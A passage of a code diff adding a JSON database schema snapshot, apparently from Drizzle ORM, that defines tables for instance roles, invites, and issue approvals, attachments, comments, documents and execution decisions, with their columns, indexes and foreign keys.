+          "name": "instance_settings_default_environment_id_environments_id_fk",
+          "tableFrom": "instance_settings",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "default_environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.instance_user_roles": {
+      "name": "instance_user_roles",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'instance_admin'"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "instance_user_roles_user_role_unique_idx": {
+          "name": "instance_user_roles_user_role_unique_idx",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "role",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "instance_user_roles_role_idx": {
+          "name": "instance_user_roles_role_idx",
+          "columns": [
+            {
+              "expression": "role",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.invites": {
+      "name": "invites",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "invite_type": {
+          "name": "invite_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company_join'"
+        },
+        "token_hash": {
+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "allowed_join_types": {
+          "name": "allowed_join_types",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'both'"
+        },
+        "defaults_payload": {
+          "name": "defaults_payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "invited_by_user_id": {
+          "name": "invited_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "accepted_at": {
+          "name": "accepted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "invites_token_hash_unique_idx": {
+          "name": "invites_token_hash_unique_idx",
+          "columns": [
+            {
+              "expression": "token_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "invites_company_invite_state_idx": {
+          "name": "invites_company_invite_state_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "invite_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revoked_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "invites_company_id_companies_id_fk": {
+          "name": "invites_company_id_companies_id_fk",
+          "tableFrom": "invites",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_approvals": {
+      "name": "issue_approvals",
+      "schema": "",
+      "columns": {
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "linked_by_agent_id": {
+          "name": "linked_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "linked_by_user_id": {
+          "name": "linked_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_approvals_issue_idx": {
+          "name": "issue_approvals_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_approvals_approval_idx": {
+          "name": "issue_approvals_approval_idx",
+          "columns": [
+            {
+              "expression": "approval_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_approvals_company_idx": {
+          "name": "issue_approvals_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_approvals_company_id_companies_id_fk": {
+          "name": "issue_approvals_company_id_companies_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_approvals_issue_id_issues_id_fk": {
+          "name": "issue_approvals_issue_id_issues_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_approvals_approval_id_approvals_id_fk": {
+          "name": "issue_approvals_approval_id_approvals_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_approvals_linked_by_agent_id_agents_id_fk": {
+          "name": "issue_approvals_linked_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "linked_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "issue_approvals_pk": {
+          "name": "issue_approvals_pk",
+          "columns": [
+            "issue_id",
+            "approval_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_attachments": {
+      "name": "issue_attachments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "asset_id": {
+          "name": "asset_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_comment_id": {
+          "name": "issue_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_attachments_company_issue_idx": {
+          "name": "issue_attachments_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_attachments_issue_comment_idx": {
+          "name": "issue_attachments_issue_comment_idx",
+          "columns": [
+            {
+              "expression": "issue_comment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_attachments_asset_uq": {
+          "name": "issue_attachments_asset_uq",
+          "columns": [
+            {
+              "expression": "asset_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_attachments_company_id_companies_id_fk": {
+          "name": "issue_attachments_company_id_companies_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_attachments_issue_id_issues_id_fk": {
+          "name": "issue_attachments_issue_id_issues_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_attachments_asset_id_assets_id_fk": {
+          "name": "issue_attachments_asset_id_assets_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "assets",
+          "columnsFrom": [
+            "asset_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_attachments_issue_comment_id_issue_comments_id_fk": {
+          "name": "issue_attachments_issue_comment_id_issue_comments_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "issue_comments",
+          "columnsFrom": [
+            "issue_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_comments": {
+      "name": "issue_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "on_behalf_of_user_id": {
+          "name": "on_behalf_of_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_type": {
+          "name": "author_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_author_agent_id": {
+          "name": "derived_author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_created_by_run_id": {
+          "name": "derived_created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_author_source": {
+          "name": "derived_author_source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "presentation": {
+          "name": "presentation",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_type": {
+          "name": "deleted_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_agent_id": {
+          "name": "deleted_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_user_id": {
+          "name": "deleted_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_run_id": {
+          "name": "deleted_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_comments_issue_idx": {
+          "name": "issue_comments_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_company_idx": {
+          "name": "issue_comments_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_company_issue_created_at_idx": {
+          "name": "issue_comments_company_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_company_author_issue_created_at_idx": {
+          "name": "issue_comments_company_author_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_body_search_idx": {
+          "name": "issue_comments_body_search_idx",
+          "columns": [
+            {
+              "expression": "body",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_comments_company_id_companies_id_fk": {
+          "name": "issue_comments_company_id_companies_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_comments_issue_id_issues_id_fk": {
+          "name": "issue_comments_issue_id_issues_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_comments_author_agent_id_agents_id_fk": {
+          "name": "issue_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_comments_on_behalf_of_user_id_user_id_fk": {
+          "name": "issue_comments_on_behalf_of_user_id_user_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "user",
+          "columnsFrom": [
+            "on_behalf_of_user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_comments_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_derived_author_agent_id_agents_id_fk": {
+          "name": "issue_comments_derived_author_agent_id_agents_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "derived_author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_derived_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_comments_derived_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "derived_created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_deleted_by_agent_id_agents_id_fk": {
+          "name": "issue_comments_deleted_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "deleted_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_deleted_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_comments_deleted_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "deleted_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_create_idempotency_keys": {
+      "name": "issue_create_idempotency_keys",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_create_idempotency_keys_company_key_uq": {
+          "name": "issue_create_idempotency_keys_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_create_idempotency_keys_issue_idx": {
+          "name": "issue_create_idempotency_keys_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_create_idempotency_keys_company_created_at_idx": {
+          "name": "issue_create_idempotency_keys_company_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_create_idempotency_keys_company_id_companies_id_fk": {
+          "name": "issue_create_idempotency_keys_company_id_companies_id_fk",
+          "tableFrom": "issue_create_idempotency_keys",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_create_idempotency_keys_issue_id_issues_id_fk": {
+          "name": "issue_create_idempotency_keys_issue_id_issues_id_fk",
+          "tableFrom": "issue_create_idempotency_keys",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_documents": {
+      "name": "issue_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_documents_company_issue_key_uq": {
+          "name": "issue_documents_company_issue_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_documents_document_uq": {
+          "name": "issue_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_documents_company_issue_updated_idx": {
+          "name": "issue_documents_company_issue_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_documents_company_id_companies_id_fk": {
+          "name": "issue_documents_company_id_companies_id_fk",
+          "tableFrom": "issue_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_documents_issue_id_issues_id_fk": {
+          "name": "issue_documents_issue_id_issues_id_fk",
+          "tableFrom": "issue_documents",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_documents_document_id_documents_id_fk": {
+          "name": "issue_documents_document_id_documents_id_fk",
+          "tableFrom": "issue_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_execution_decisions": {
+      "name": "issue_execution_decisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stage_id": {
+          "name": "stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stage_type": {
+          "name": "stage_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_execution_decisions_company_issue_idx": {
+          "name": "issue_execution_decisions_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_execution_decisions_stage_idx": {
+          "name": "issue_execution_decisions_stage_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_execution_decisions_company_id_companies_id_fk": {
+          "name": "issue_execution_decisions_company_id_companies_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_execution_decisions_issue_id_issues_id_fk": {
+          "name": "issue_execution_decisions_issue_id_issues_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_execution_decisions_actor_agent_id_agents_id_fk": {
